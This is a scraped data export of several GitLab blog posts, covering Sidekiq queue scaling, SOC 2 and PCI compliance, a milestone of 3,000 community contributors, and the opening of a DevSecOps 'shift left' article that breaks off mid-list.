https://packages.gitlab.com/gitlab/gitlab-ce/gpgkey/gitlab-gitlab-ce-3D645A26AB9FBD22.pub.gpg\n\n## I still have problems, what do I do?\n\nPlease open an issue in the [omnibus-gitlab issue tracker](https://gitlab.com/gitlab-org/omnibus-gitlab/-/issues/new?issue&issuable_template=Bug).\n",[674,1464,1444],{"slug":23034,"featured":6,"template":678},"package-key-extension","content:en-us:blog:package-key-extension.yml","Package Key Extension","en-us/blog/package-key-extension.yml","en-us/blog/package-key-extension",{"_path":23040,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":23041,"content":23046,"config":23052,"_id":23054,"_type":16,"title":23055,"_source":17,"_file":23056,"_stem":23057,"_extension":20},"/en-us/blog/scaling-our-use-of-sidekiq",{"title":23042,"description":23043,"ogTitle":23042,"ogDescription":23043,"noIndex":6,"ogImage":17214,"ogUrl":23044,"ogSiteName":1180,"ogType":1181,"canonicalUrls":23044,"schema":23045},"How we scaled async workload processing at GitLab.com using Sidekiq","Sidekiq was a great tool for async processing until it couldn't keep up. Here's how we made it scale.","https://about.gitlab.com/blog/scaling-our-use-of-sidekiq","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How we scaled async workload processing at GitLab.com using Sidekiq\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Rachel Nienaber\"}],\n        \"datePublished\": \"2020-06-24\",\n      }",{"title":23042,"description":23043,"authors":23047,"heroImage":17214,"date":23049,"body":23050,"category":734,"tags":23051},[23048],"Rachel Nienaber","2020-06-24","## Sidekiq at GitLab\n\nGitLab is a Ruby-on-Rails application that processes a lot of data. Much of this processing can be done asynchronously,\nand one of the solutions we use to accomplish this is [Sidekiq](https://github.com/mperham/sidekiq/wiki) which is a background-processing\nframework for Ruby. It handles jobs that are better processed asynchronously outside the web request/response cycle.\n\nThere are a few terms that that we'll use in this post:\n\n* A **worker class** is a class defined in our application to process a task in Sidekiq.\n* A **job** is an instance of a worker class, so each job represents a single task.\n* A **queue** is a collection of jobs (potentially for different worker classes) that are waiting to be processed.\n* A **worker thread** is a thread processing jobs in particular queues. Each Sidekiq process can have multiple worker threads.\n\nThen there are two terms specific to GitLab.com:\n\n* A **Sidekiq role** is a configuration for a particular group of queues. For instance, we might have a `push_actions` role that is for processing the `post_receive` and `process_commit` queues.\n* A **Sidekiq node** is an instance of the GitLab application for a Sidekiq role. A Sidekiq node can have multiple Sidekiq processes.\n\nBack in 2013, in version 6.3 of GitLab, every Sidekiq worker class had its own queue. We weren't strict in monitoring the creation of\nnew worker classes. There was no strategic plan for assigning queues to where they would execute.\n\nIn 2016, we tried to introduce order again, and rearranged the queues to be based on features. We followed this with a change in\n2017 to have a dedicated queue for each worker class again, and we were able to monitor queues more accurately and impose specific\nthrottles and limits to each. It was easy to quickly make decisions about the queues as they were running because of how\nthe work was distributed. The queues were grouped, and the names of these groups were `realtime`, `asap`, and `besteffort` for example.\n\nAt the time, we knew that this was not the approach recommended by the author of Sidekiq, Mike Perham, but we felt that we knew what\nthe trade-offs were. In fact, Mike wrote: \n\n> “I don't recommend having more than a handful of queues. Lots of queues makes for a more complex\n> system [and Sidekiq Pro cannot reliably](https://github.com/antirez/redis/issues/1785) handle multiple queues without\n> polling. M Sidekiq Pro processes polling N queues means O(M*N) operations per second slamming Redis.”\n\nFrom [https://github.com/mperham/sidekiq/wiki/Advanced-Options#queues](https://github.com/mperham/sidekiq/wiki/Advanced-Options#queues)\n\nThis served us well for nearly two years before this approach no longer matched our scaling needs.\n\n### Pressure from availability issues\n\nIn mid-2019 GitLab.com experienced several different major incidents related to the way we\nprocess background queues.\n\nExamples of these incidents:\n- [Gitaly n+1 calls caused bad latency and resulted in the Sidekiq queues growing](https://gitlab.com/gitlab-com/gl-infra/infrastructure/issues/7479).\nThis was due to the way we processed tags in Gitaly.\n- A user generated many notes on a single commit which [slowed down the new_note Sidekiq queue](https://gitlab.com/gitlab-com/gl-infra/production/issues/1028)\nand led to a delay of sending out notifications.\n- CI jobs took very long to complete because [jobs in the pipeline_processing:pipeline_process Sidekiq queue piled up](https://gitlab.com/gitlab-com/gl-infra/infrastructure/-/issues/7402).\n2 pipelines caused a high amount of Sidekiq jobs, Sidekiq pipeline nodes were maxing out their CPU, pipeline_processing\njobs were causing many SQL calls and the pgbouncer pool for Sidekiq was becoming saturated.\n\nAll of these were showing that we needed to take action.\n\n![Sidekiq throughput per job](https://about.gitlab.com/images/blogimages/sidekiq_throughput_per_job.png){: .shadow}\n\nThis image shows how many jobs we process per second over a 24 hour period. This shows the variety of jobs and\ngives an idea of the scale of jobs in relation to each other.\n\n### Improvements\n\n#### Changing the relationship between jobs and Sidekiq roles\n\nIn [infrastructure#7219 (closed)](https://gitlab.com/gitlab-com/gl-infra/infrastructure/issues/7219) we significantly\naltered our approach for how jobs were related to Sidekiq roles.\n\nWe started from a position where:\n1. We had a many-to-many relationship between Sidekiq jobs and Sidekiq roles.\n   1. For example, most pipeline jobs ran on the `besteffort` nodes, but some ran on the pipeline nodes.\n   1. Some jobs ran on up to three types of node: eg `realtime`, `asap` and `besteffort` priorities.\n1. Worker threads were reserved for single queues.\n   1. For example, one eighth of the `realtime` queue might be reserved for new_note jobs. In the event of a glut of\n  new_note jobs, most of the fleet would sit idle while one worker thread would be saturated. Worse, adding more nodes would\n  only increase processing power by 1/8th of a node, not the full compute capacity of the new node.\n1. Urgent and non-urgent jobs would be in the same queue.\n   1. For example, some jobs in the `realtime` queue would take up to 10 minutes to process.\n   1. This is a bit like allowing overloaded trolleys in the 10 items-or-less lane.\n\nOnce the issue was completed, we now had:\n1. A one-to-one relationship between Sidekiq jobs and Sidekiq roles\n   1. Each job will execute on exactly one Sidekiq role\n1. All worker threads will run all jobs, and each Sidekiq node will have the same number of worker threads\n   1. When a glut of jobs comes in, 100% of compute on a node can be dedicated to executing the jobs\n1. Slow jobs and fast jobs are kept apart\n   1. The 10 items or less lane is now being enforced.\n\nWhile this was a significant improvement, it introduced some technical debt. We fixed everything for a moment in time,\nknowing that as soon as the application changed this would be out of date, and as time went on, would only get more out\nof date until we were back in the same position. To try and mitigate this in future, we started to look at classifying\nthe workloads and using queue selectors.\n\n#### Queue Selectors Deployed in Sidekiq Cluster\n\nIn the\n[Background Processing Improvements Epic](https://gitlab.com/groups/gitlab-com/gl-infra/-/epics/96), we looked at ways\nthat we could simplify the structure so that background processing could be in a position to scale to 100x the traffic\nat the time. We also needed the processing to be unsurprising. Operators (and developers) should understand where a job\nwill run, why it is queueing up and how to reduce queues. We decided to move to using [queue selectors](https://docs.gitlab.com/ee/administration/sidekiq/extra_sidekiq_processes.html)\nto help us to keep the queue definitions correct. (This approach is still experimental).\n\nIn addition, the infrastructure team should not reactively (and manually) route Sidekiq jobs to priority fleets, as\nwas the situation previously. Developers should have the ability to specify the requirements of their workloads and\nhave these automatically processed on a queue designed to support that type of work.\n\nSidekiq processes can be configured to select specific queues for processing. Instead of making this selection by name,\nwe wanted to make the selection on how the workload for that queue was classified.\n\nWe came up with an approach for classifying background jobs by their workload and building a sustainable way of grouping\nsimilar workloads together.\n\nWhen a new job is created, developers need to do this to classify the workload. This is done through\n- Specifying the [urgency of the job](https://docs.gitlab.com/ee/development/sidekiq/index.html). The options\nare `high`, `low` and `none`. If the delay of a job would have user impact, then the job is `high` urgency.\n- Noting if the [job has external dependencies](https://docs.gitlab.com/ee/development/sidekiq/index.html)\nthat could impact their availability. (For example, if they communicate with user-specified Kubernetes clusters).\n- Adding an [annotation declaring if the worker class will be cpu-bound or memory-bound](https://docs.gitlab.com/ee/development/sidekiq/index.html). Knowing\nthis allows us to make decisions around how much thread concurrency a Ruby process can tolerate, or targeting memory-bound\njobs to low-concurrency, high-memory nodes.\n\nThere is additional guidance available to [determine if the worker class should be marked as cpu-bound](https://docs.gitlab.com/ee/development/sidekiq/index.html).\n\n#### SLAs are based on these attributes\n\n1. High urgency jobs should not queue for more than 10 seconds.\n1. High urgency jobs should not take more than 10 seconds to execute (this SLA is the responsibility of the owning team to ensure that high throughput is maintained).\n1. Low urgency jobs should not queue for more than 1 minute.\n1. Jobs without urgency have no queue SLA.\n1. Non-high urgency jobs should not take more than 5 minutes to execute.\n\nIn each case, the queuing SLAs are the responsibility of the infrastructure team, as they need to ensure that the fleet is\ncorrectly provisioned to meet the SLA.\n\nThe execution latency SLAs are the responsibility of the development team owning the worker class, as they need to ensure that the\nworker class is sufficiently performant to ensure throughput.\n\n![Sidekiq certain queues spike](https://about.gitlab.com/images/blogimages/sidekiq_authorized_projects.png){: .shadow}\n\nThis image shows the challenges we faced by having jobs of different urgency running on the same queue.\nThe purple lines show spikes from one particular worker, where many jobs were added to the queue,\ncausing delays to other jobs which were often of equal or higher importance.\n\n### Challenge during rollout - BRPOP\n\nAs the number of background queues in the GitLab application grows, this approach continues to burden our Sidekiq Redis\nservers. On GitLab.com, our `catchall` Sidekiq nodes monitor about 200 queues, and the Redis [BRPOP](https://redis.io/commands/brpop)\ncommands used to monitor the queues consume a significant amount of time (by Redis latency standards).\n\nThe number of clients listening made this problem worse. For `besteffort` we had 7 nodes, each running 8 processes,\nwith 15 threads watching those queues - meaning 840 clients.\n\nThe command causing the problem was BRPOP. The time taken to perform this command also relates\nto the number of listeners on those keys. The addition of multiple keys increases contention in the system which causes\nlots of connections to block. And when the key list is longer the problem gets worse. The keylist represents the number of\nqueues, the more queues we have, the more keys we are listening to. We saw this problem on the nodes that process the most queues.\n\nWe raised an issue in the Redis issue tracker about the [performance we observed when many clients performed BRPOP on the\nsame key](https://github.com/antirez/redis/issues/7071). It was fantastic when [Salvatore](https://github.com/antirez)\nresponded within the hour and the patch was available the same day!  This fix was made in Redis 6 and backported to Redis 5.\n[Omnibus has also been upgraded to use this fix](https://gitlab.com/gitlab-org/omnibus-gitlab/-/merge_requests/4126), and it will\nbe available in the major release 13.0.\n\n### Current State (as of June 2020)\n\nMigrating to these new selectors has been completed as of late April 2020.\n\nWe reduced our Sidekiq fleet from 49 nodes with 314 CPUs, to 26 nodes with 158 CPUs. This has also reduced our cost.\nThe average utilization is more evenly spread across the new fleets.\n\nAlso, we have [moved Sidekiq-cluster to Core](https://gitlab.com/groups/gitlab-com/gl-infra/-/epics/181). Previously, running\nSidekiq in clustered mode (i.e. spawning more than one process) was\ntechnically only available as part of GitLab EE distributions, and for self-managed environments only in the Starter+ tiers.\nBecause of that, when booting Sidekiq up in a development env with the GDK, the least common denominator was assumed,\nwhich was to run Sidekiq in a single-process setup. That can be a problem, because it means there is a divergence between\nthe environment developers work on, and what will actually run in production (i.e. gitlab.com and higher-tier self-managed environments).\n\nIn [release 13.0](/releases/2020/06/22/gitlab-13-1-released/) Sidekiq Cluster is used by default.\n\nWe’re also better placed to migrate to Kubernetes.  The selector approach is a lot more compatible with making good\ndecisions about things like CPU allocations + limits for Kubernetes workloads, and this will make the job of our delivery\nteam easier, leading to further cost reductions from auto-scaling deployed resources to match actual load.\n\nOur next piece of work with Sidekiq will be to [reduce the number of queues that we need to watch](https://gitlab.com/groups/gitlab-com/gl-infra/-/epics/194)\nand we will post a follow-up to this blog post when the work is completed.\n\n**Read more about infrastructure issues:**\n\n[Faster pipelines with DAG](/blog/directed-acyclic-graph/)\n\n[Keep Kubernetes runners moving](/blog/best-practices-for-kubernetes-runners/)\n\n[Understand parent-child pipelines](/blog/parent-child-pipelines/)\n\nCover image by [Jerry Zhang](https://unsplash.com/@z734923105) on [Unsplash](https://www.unsplash.com)\n{: .note}\n",[676,1268,1444],{"slug":23053,"featured":6,"template":678},"scaling-our-use-of-sidekiq","content:en-us:blog:scaling-our-use-of-sidekiq.yml","Scaling Our Use Of Sidekiq","en-us/blog/scaling-our-use-of-sidekiq.yml","en-us/blog/scaling-our-use-of-sidekiq",{"_path":23059,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":23060,"content":23066,"config":23070,"_id":23072,"_type":16,"title":23073,"_source":17,"_file":23074,"_stem":23075,"_extension":20},"/en-us/blog/soc2-compliance",{"title":23061,"description":23062,"ogTitle":23061,"ogDescription":23062,"noIndex":6,"ogImage":23063,"ogUrl":23064,"ogSiteName":1180,"ogType":1181,"canonicalUrls":23064,"schema":23065},"How secure is GitLab?","Learn about GitLab's commitment to security and compliance, our security program maturity and accreditations.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749669646/Blog/Hero%20Images/blog-soc2-compliance.jpg","https://about.gitlab.com/blog/soc2-compliance","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How secure is GitLab?\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Saumya Upadhyaya\"},{\"@type\":\"Person\",\"name\":\"Dov Hershkovitch\"}],\n        \"datePublished\": \"2020-06-24\",\n      }",{"title":23061,"description":23062,"authors":23067,"heroImage":23063,"date":23049,"body":23068,"category":674,"tags":23069},[18837,902],"\n\nWhen trying out a new vendor, you want to ensure the company meets your organization’s security policies. Often, we receive questionnaires from our customers to validate our security posture and to understand the maturity of GitLab’s security program.\n\nAs a rapidly growing company, we are in a fortunate position to have a lot of new customers sign up for our solution. We want our customers to have confidence in our offering from a security perspective, and we want to be able to provide that assurance in the most transparent and accessible way possible.\n\nTo demonstrate our commitment to security and compliance and to provide customers with an insight into our security maturity, we have pursued (and continue to pursue) a number of programs and accreditations. We’re excited to share that information with you.\n\n## SOC 2 Report\n\n[SOC 2](https://www.aicpa.org/interestareas/frc/assuranceadvisoryservices/serviceorganization-smanagement.html) is a security control report developed by the [American Institute of Certified Public Accountants](https://www.aicpa.org/) (AICPA) designed to give a holistic view of the design and effectiveness of a company's security program. A SOC 2 audit report provides an independent opinion about an organization's security and is becoming an industry standard for evaluating vendor security program maturity.\n\nThere are two types of SOC 2 reports:\n\n* **SOC 2 - Type 1** - which evaluates the design of controls\n* **SOC 2 - Type 2** - which evaluates the design and operating effectiveness of controls\n\n#### The SOC2 Report\n\nAs of 2021, GitLab has received a SOC 2 Type 2 attestation. Prior to receiving this attestation, we underwent a SOC 2 Type 1 audit in preparation for our Type 2. We detailed our experience undergoing the SOC 2 Type 1 audit, in this blog post, [The benefits of transparency in a compliance audit](/blog/benefits-of-transparency-in-compliance/).\n\n#### How can current (or prospective) customers get a copy of GitLab's most recent SOC 2 report?\n\nSince this report contains candid information about how our systems operate and proprietary audit specific information, we require certain confidentiality agreements be in place. This is built into our Terms of Service for current customers; for prospective customers we request you to complete an NDA with the help of your sales account leader.\n\nTo request the report and more details on our SOC 2 program please visit our [Security Certifications and Attestations handbook page](/handbook/security/security-assurance/security-compliance/certifications.html#requesting-a-copy-of-the-gitlab-soc2-type-2-report).\n\n## CSA Consensus Assessments Initiative Questionnaire (CAIQ)\n\nThe Cloud Security Alliance Consensus Assessments Initiative Questionnaire (CAIQ) from [CSA STAR](https://cloudsecurityalliance.org/) offers an industry-accepted way to document security controls in SaaS services - thereby helping customers to gauge the security posture of cloud service providers. The CAIQ Questionnaire captures most of the frequently asked security questions such as:\n\n* Do you use industry standards (i.e. OWASP Software Assurance Maturity Model, ISO 27034) to build in security for your Systems/Software Development Lifecycle (SDLC)?\n* Do you verify that all of your software suppliers adhere to industry standards for SDLC security?\n* Do you enforce data access permissions based on the rules of Authentication, Authorization and Accountability (AAA)?\n\n### Where can you get the GitLab CAIQ?\n\nUnlike the SOC 2 Type 1 Report, this questionnaire does not require a non disclosure agreement and is available for download by all users at [GitLab’s CAIQ page at the CSA website](https://cloudsecurityalliance.org/star/registry/gitlab/).\n\n## GitLab Control Framework (GCF)\n\nThe [GitLab Control Framework](/handbook/security/security-assurance/security-compliance/sec-controls.html) is a set of controls that establish security requirements for the organization and GitLab's operating environment. These controls provide assurance to customers that GitLab has a robust security program and that their data within GitLab is appropriately protected.\n\nThe GitLab Control Framework has prioritized security controls needed for PCI, Sarbanes–Oxley (SOX), and SOC 2 Security Criteria spanning across the following topics:\n\n* Asset management\n* Backup management\n* Business continuity\n* Change management\n* Configuration management\n* Data management\n* Identity and access management\n* Incident response\n* Network operations\n* People resources\n* Risk management\n* Security governance\n* Service lifecycle\n* Systems design documentation\n* Systems monitoring\n* Third party management\n* Training and awareness\n* Vulnerability management\n\nYou can read on about how we [chose our framework](/blog/choosing-a-compliance-framework/) and [how we implemented and adapted the Adobe Compliance Framework](/blog/creating-the-gitlab-controls-framework/).\n\n## PCI Compliance\n\nPayment Card Industry's Data Security Standard (PCI-DSS), defined by the [PCI Security Standards Council](https://www.pcisecuritystandards.org/), identifies the requirements for vendors that accept or facilitate credit card payments. Based on the volume of transactions by the vendor, the vendor is classified under one of [four levels](https://en.wikipedia.org/wiki/Payment_Card_Industry_Data_Security_Standard#Compliance_levels).\n\nGitLab is currently a Level 4 merchant for PCI which requires us to:\n\n* Complete an annual self-attestation questionnaire (SAQ)\n* Perform a quarterly scan of our PCI systems by an approved scanning vendor. GitLab uses [Tenable.io](https://www.tenable.com/products/tenable-io)\n\nGitLab's Attestation of Compliance (AoC) is available on request, via security@gitlab.com. Learn more about [GitLab PCI compliance](/handbook/security/security-assurance/security-compliance/certifications.html#current).\n\n## What’s next?\n\nSecurity and compliance are ongoing processes and GitLab is committed to continual iteration, maturation, and improvement of our information security program.\n\nOur immediate priorities include:\n\n* Continuous iteration and improvement of our security controls with updated mappings between the GitLab Controls Framework and industry standards like SOC 2, ISO 27001, PCI, FedRAMP, and others\n* The **SOC 2 Type 2 report**, which evaluates operational efficiency in addition to design controls, will commence in 2021\n* The **Standardized Information Gathering (SIG) questionnaire**, a standardized 3rd party risk assessment tool, which along with our CAIQ will provide readily accessible background and transparency into our security program.\n\nHave a question about any of our existing or ongoing compliance efforts? Or maybe feedback about implementing compliance programs in an iterative, highly-transparent environment? We’d love to hear from you. Leave us a comment!\n\n*Read more about our security compliance:*\n\n[Transparency can actually help a security audit. Here's how](/blog/benefits-of-transparency-in-compliance/)\n\n[Can technology outpace security compliance?](/blog/when-technology-outpaces-security-compliance/)\n\n[Choosing between an independent or aggregate compliance framework](/blog/choosing-a-compliance-framework/)\n\nCover image by [Josh Calabrese](https://unsplash.com/photos/qmnpqDwla_E) on [Unsplash](https://www.unsplash.com)\n{: .note}\n",[4103,754,674],{"slug":23071,"featured":6,"template":678},"soc2-compliance","content:en-us:blog:soc2-compliance.yml","Soc2 Compliance","en-us/blog/soc2-compliance.yml","en-us/blog/soc2-compliance",{"_path":23077,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":23078,"content":23084,"config":23089,"_id":23091,"_type":16,"title":23092,"_source":17,"_file":23093,"_stem":23094,"_extension":20},"/en-us/blog/3000-contributors-post",{"title":23079,"description":23080,"ogTitle":23079,"ogDescription":23080,"noIndex":6,"ogImage":23081,"ogUrl":23082,"ogSiteName":1180,"ogType":1181,"canonicalUrls":23082,"schema":23083},"Celebrating 3,000 wider community contributors","We've reached an important contributor milestone and added two new members to the Core Team.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749678450/Blog/Hero%20Images/blog-header-3000-contributors.png","https://about.gitlab.com/blog/3000-contributors-post","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Celebrating 3,000 wider community contributors\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Ray Paik\"}],\n        \"datePublished\": \"2020-06-23\",\n      }",{"title":23079,"description":23080,"authors":23085,"heroImage":23081,"date":23086,"body":23087,"category":813,"tags":23088},[21623],"2020-06-23","\nLike many open source projects, we have a [community dashboard](https://contributors.gitlab.com) at GitLab and one of the metrics that a few of us were occasionally checking on was the number of **Contributors**. This is the number of wider community members who had merge requests (MRs) merged with the `Community contribution` label across all projects at GitLab. There were some virtual high fives a few weeks ago when the number crossed the 3,000 threshold. There is probably a tendency to place oversized importance on nice round numbers, because if you really think about it the GitLab community wasn't any different at 2,999 vs. 3,000 contributors. However, it was a great occasion to celebrate the continued growth of the wider GitLab community.  \n\n![Community dashboard screenshot](https://about.gitlab.com/images/blogimages/3000-contributors/dashboard-screenshot.png){: .shadow.medium.center}\nCommunity dashboard screenshot from April 23, 2020\n{: .note.text-center}\n\nThe past few months have been a challenging time due to Covid-19, and there was talk in open source circles about the pandemic's potential impact on contributions to open source projects. As people were trying to sort out many new challenges in life, it was reasonable to expect that open source contributions might fall lower on the list of priorities. We actually did see a decline in wider community contributions during the last few weeks of March (125 MRs submitted) compared to the previous two weeks (143 MRs submitted). However, the GitLab community seemed to roar back relatively quickly, and the best evidence of that is from our most recent [Hackathon](/community/hackathon/) when my inbox got innundated with [240 MRs submitted](https://gitlab.com/gitlab-com/marketing/community-relations/contributor-program/hackathon/-/issues/35#merge-request-list) over two days. \n\nFirst and foremost, I'm very glad most of the wider community members are doing ok and adjusting to the strange new normal. Moreover, I am grateful that new people are continuing to join and helping to grow the GitLab community with their contributions and enthusiasm even during these challenging times. \n\nWhat all these contributors bring are not just MRs but more importantly valuable feeback and insight that help us improve our product and the community. Some of you may have seen our latest [2020 Global DevSecOps Survey results](/developer-survey/), and one figure that caught my attention was that more than 17% of the respondents actually contribute to GitLab. I hope to see that trend continue.\n\n## Exciting additions to the Core Team\n\nMany of you may already be familar with the [GitLab Core Team](/community/core-team/), but if not, Core Team members are community members who made sustained contribution to GitLab over the years and serve as representatives of the wider contributor community. In keeping with the growth in contributor numbers, I'm happy to report that we are also adding to the GitLab Core Team. \n\nFrom the wider community, I'm excited to introduce [Lee Tickett](https://gitlab.com/leetickett) as a new Core Team member. If you ever posted a question in the [Contributors room on Gitter](https://gitter.im/gitlab/contributors), Lee may have been one of the first to help with your question. Lee has also been very active with [code contributions](https://gitlab.com/groups/gitlab-org/-/merge_requests?scope=all&utf8=%E2%9C%93&state=all&author_username=leetickett) and participating in [issues](https://gitlab.com/groups/gitlab-org/-/issues?scope=all&utf8=%E2%9C%93&state=all&author_username=leetickett). Lee's contribution to GitLab as someone who's been using GitLab for his own company since 2017 has been extremely valuable. When Lee isn't working, contributing, sleeping or eating, you'll likely find him spending time with his family or kicking back in his home bar with some Pac-Man, a game of pool and an ice cold pint.\n\nThe Core Team also includes up to two GitLab team members, and I'm very happy to have [Natalia Tepluhina](/company/team/#ntepluhina) joining as the first female member in the history of the GitLab Core Team. If you submitted frontend related MRs, there's a good chance that Natalia [reviewed and merged your MRs](https://gitlab.com/groups/gitlab-org/-/merge_requests?scope=all&utf8=%E2%9C%93&state=merged&label_name[]=Community%20contribution&assignee_username=ntepluhina). Natalia is also a Core Team member in the Vue.js community and brings a wealth of experience from other open source projects. If you want to meet Natalia in person, she is a frequent speaker at Vue.js events around the world and other Javascript conferences such as [JSHeroes](https://jsheroes.io/) and [JSNation](https://jsnation.com/). \n\n![Core Team pictures](https://about.gitlab.com/images/blogimages/3000-contributors/Core-team-pictures.png){: .shadow.medium.center}\nWelcome Lee and Natalia to the Core Team!\n{: .note.text-center}\n\n## Interested in learning how you can contribute?\n\nA good place to start is the [Contributing to GitLab page](/community/contribute/), where you can\nlearn how you can contribute to GitLab's code, documentation, translation, and UX design.\n\nIf you have any questions, you are always welcome to [email me](mailto:rpaik@gitlab.com).\n\n**Read more about our GitLab contributors:**\n\n[New tools make contributing to GitLab easier](/blog/13-0-contributor-experience-update/)\n\n[Community contributions in 2019](/blog/community-update-for-2019/)\n\n[What's a GitLab Hackathon _really_ like?](/blog/q4-hackathon-recap/)\n",[267,815,2704],{"slug":23090,"featured":6,"template":678},"3000-contributors-post","content:en-us:blog:3000-contributors-post.yml","3000 Contributors Post","en-us/blog/3000-contributors-post.yml","en-us/blog/3000-contributors-post",{"_path":23096,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":23097,"content":23103,"config":23107,"_id":23109,"_type":16,"title":23110,"_source":17,"_file":23111,"_stem":23112,"_extension":20},"/en-us/blog/efficient-devsecops-nine-tips-shift-left",{"title":23098,"description":23099,"ogTitle":23098,"ogDescription":23099,"noIndex":6,"ogImage":23100,"ogUrl":23101,"ogSiteName":1180,"ogType":1181,"canonicalUrls":23101,"schema":23102},"DevSecOps basics: 9 tips for shifting left","Here's how to create an efficient DevSecOps practice and shift your security left.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749663602/Blog/Hero%20Images/efficient-devsecops-9-tips.jpg","https://about.gitlab.com/blog/efficient-devsecops-nine-tips-shift-left","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"DevSecOps basics: 9 tips for shifting left\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Vanessa Wegner\"}],\n        \"datePublished\": \"2020-06-23\",\n      }",{"title":23098,"description":23099,"authors":23104,"heroImage":23100,"date":23086,"body":23105,"category":8943,"tags":23106},[22656],"\n_This is the first in a five-part series on getting started with [DevSecOps](/topics/devsecops/). Part two outlines the steps needed to create [silo-free collaboration](/blog/achieve-devsecops-collaboration/). Part three looks at the importance of [automated security testing](/blog/devsecops-security-automation/). And part four explains how to [build a strong security culture](/blog/security-culture-devsecops/) to support your DevSecOps efforts._\n\nSpeed is required to stay competitive – nearly 83% of our [2020 Global DevSecOps Survey](/developer-survey/) respondents said they’re releasing code faster than ever with DevOps. With the pace of work accelerating, some important details are easily overlooked or underestimated – like security. \n\nThink back to the last several projects your team has launched. Did security testing begin late in your software development lifecycle (SDLC)? Was too much time wasted on friction between siloed development and security? Was the project delayed due to inefficient handoff between teams, lack of visibility across systems, or lack of planning and consideration?\n\nAll of these are symptoms of outdated security practices trying to fit into your DevOps or Agile methodologies. Upgrade your organization to DevSecOps by [shifting left](/topics/ci-cd/shift-left-devops/): Bring security to the front of your development pipeline. \n\n## Security is changing – with a long way to go\n\nSecurity respondents in our 2020 Global DevSecOps Survey report changes in their roles: Being increasingly included as part of a cross-functional team focused on security (27.73%), becoming more involved in the day-to-day/more hands on (26.94%), and focusing more on compliance (22.55%). Only 19.95% report that their role is not changing.\n\nIt’s evident that companies are beginning to shift their security practices, but security testing remains a source of frustration: Over 42% of survey respondents said that testing happens too late in the lifecycle. This may be due to conflicting opinions on who is responsible for security. Nearly 33% of respondents said the security team is responsible, while almost as many people (29%) said that everyone was responsible. \n\nHowever, it’s difficult for everyone to be responsible when developers aren’t provided with the proper tools and resources to assess the security of their code: Surprisingly, static [application security](/topics/devsecops/) testing (SAST) is still not a common developer tool: Less than 19% of companies surveyed in this year’s DevSecOps report put SAST scan results into a pipeline report that developers can access, and over 60% of developers don’t actually run SAST scans. \n\n## The importance of collaboration between security and development teams \n\nSecurity is a top priority in DevOps methodology because security breaches are troublesome and expensive, and the threats are persistent. Historically dev and sec [have not gotten along](/blog/developer-security-divide/), and when communication between groups is poor, it can be easier for security vulnerabilities to take hold. Also, dev and sec [rarely agree on who owns security](/blog/gitlabs-2022-global-devsecops-survey-security-is-the-top-concern-investment/), which is a problem seen time and again in GitLab’s Annual DevSecOps Surveys.\n\nOur survey isn’t the only one finding strife between the teams. The [Ponemon Institute Research report](https://nam11.safelinks.protection.outlook.com/?url=https%3A%2F%2Fwww.zeronorth.io%2Fresource%2Fponemon-report-revealing-the-cultural-divide-between-application-security-and-development%2F&data=04%7C01%7CHeather.Rubash%40netspi.com%7C5db8edd20731475c73e908d8868a4116%7C47bfc77a6733477ba2b2ecf6b199e835%7C0%7C0%7C637407275653430081%7CUnknown%7CTWFpbGZsb3d8eyJWIjoiMC4wLjAwMDAiLCJQIjoiV2luMzIiLCJBTiI6Ik1haWwiLCJXVCI6Mn0%3D%7C1000&sdata=l7TP5PRZjCs1PqCV6JBrPVNMFQuLyBt%2BIOot6rUb5gw%3D&reserved=0) indicated that 71 percent of AppSec professionals believe security isn’t taken seriously by devs; specifically, they believe developers aren’t building in security at a sufficiently early stage. \n\nBut, when security and development teams collaborate early and often on security scanning for their code, there are a number of improvements, including:\n\n- Improved code quality \n- Fewer time-consuming and costly fixes\n- Full visibility of security measures for the whole organization\n- Minimized risk of security breaches\n- Top-notch security testing\n\nSecurity tools and automation can only take teams so far. There is no “set it and forget it” option when it comes to security. There needs to still be a human at the wheel. Collaboration between development and security teams needs to be as much of a priority as security itself. DevSecOps needs to be a culture, not just a practice.\n\nTo remove team siloes around security, here are a few considerations:\n\n1. **Understand what is driving each respective team.** The motivations behind the choices significantly affect how DevSecOps efforts turn out. \n2. **Do the big things together.** Auditing existing security tools, processes, and places where automation is or isn’t in place should be a group effort, not an individual team effort.\n3. **Define security objectives and responsibilities at every stage of the SDLC.** Early scanning and testing are vital to security, and everyone can be part of checking that these security checks are happening. \n4. **Plan and execute a comprehensive security training plan.** Have clear guidelines on security goals and steps to follow in case of an active threat. \n5. **Consider creating a [security champions program](/blog/why-security-champions/).**\n\n### Key to efficient security: Clarity\n\nCommunication cannot be understated when it comes to shifting left. Moving security forward in the software lifecycle won’t help anyone if your team doesn’t understand their responsibilities and expectations. Document any and all role changes when shifting your security practices, and then make sure that all parties have the tools necessary to get the job done. \n\n## What is shifting left?\n\nShift left is a DevOps testing concept to speed up development while at the same time improving code quality. Think of the code development process as starting on the “left” with development and ending on the “right” with deployment, so shifting the testing stage left means moving it from the end of the process to close to the beginning. Shifting left is made far easier with test automation.\n\n### 3 Important reasons to shift left\n\n1. **More code gets tested.** By bringing security forward in the SDLC, you provide more opportunities for code to be scanned and vulnerabilities to be remediated. By automating static application security testing (SAST) at every code commit, for example, you can at least ensure that all code has been scanned once.\n1. **Planning becomes more well-rounded.** Shifting left is not just about technology – it’s also about people. Bring a security DRI into your initial planning meeting to make sure you account for security needs in all stages of the SDLC. This will help streamline end-of-cycle security reviews, reduce friction between teams, and increase the likelihood of hitting your deadline with a secure product.\n1. **Better accountability among non-security team members.** Shifting left lets your team know that everyone is now expected to take security seriously and make it a part of their daily work. \n\n## 9 Tips for efficient DevSecOps\n\n1. Measure time lost in 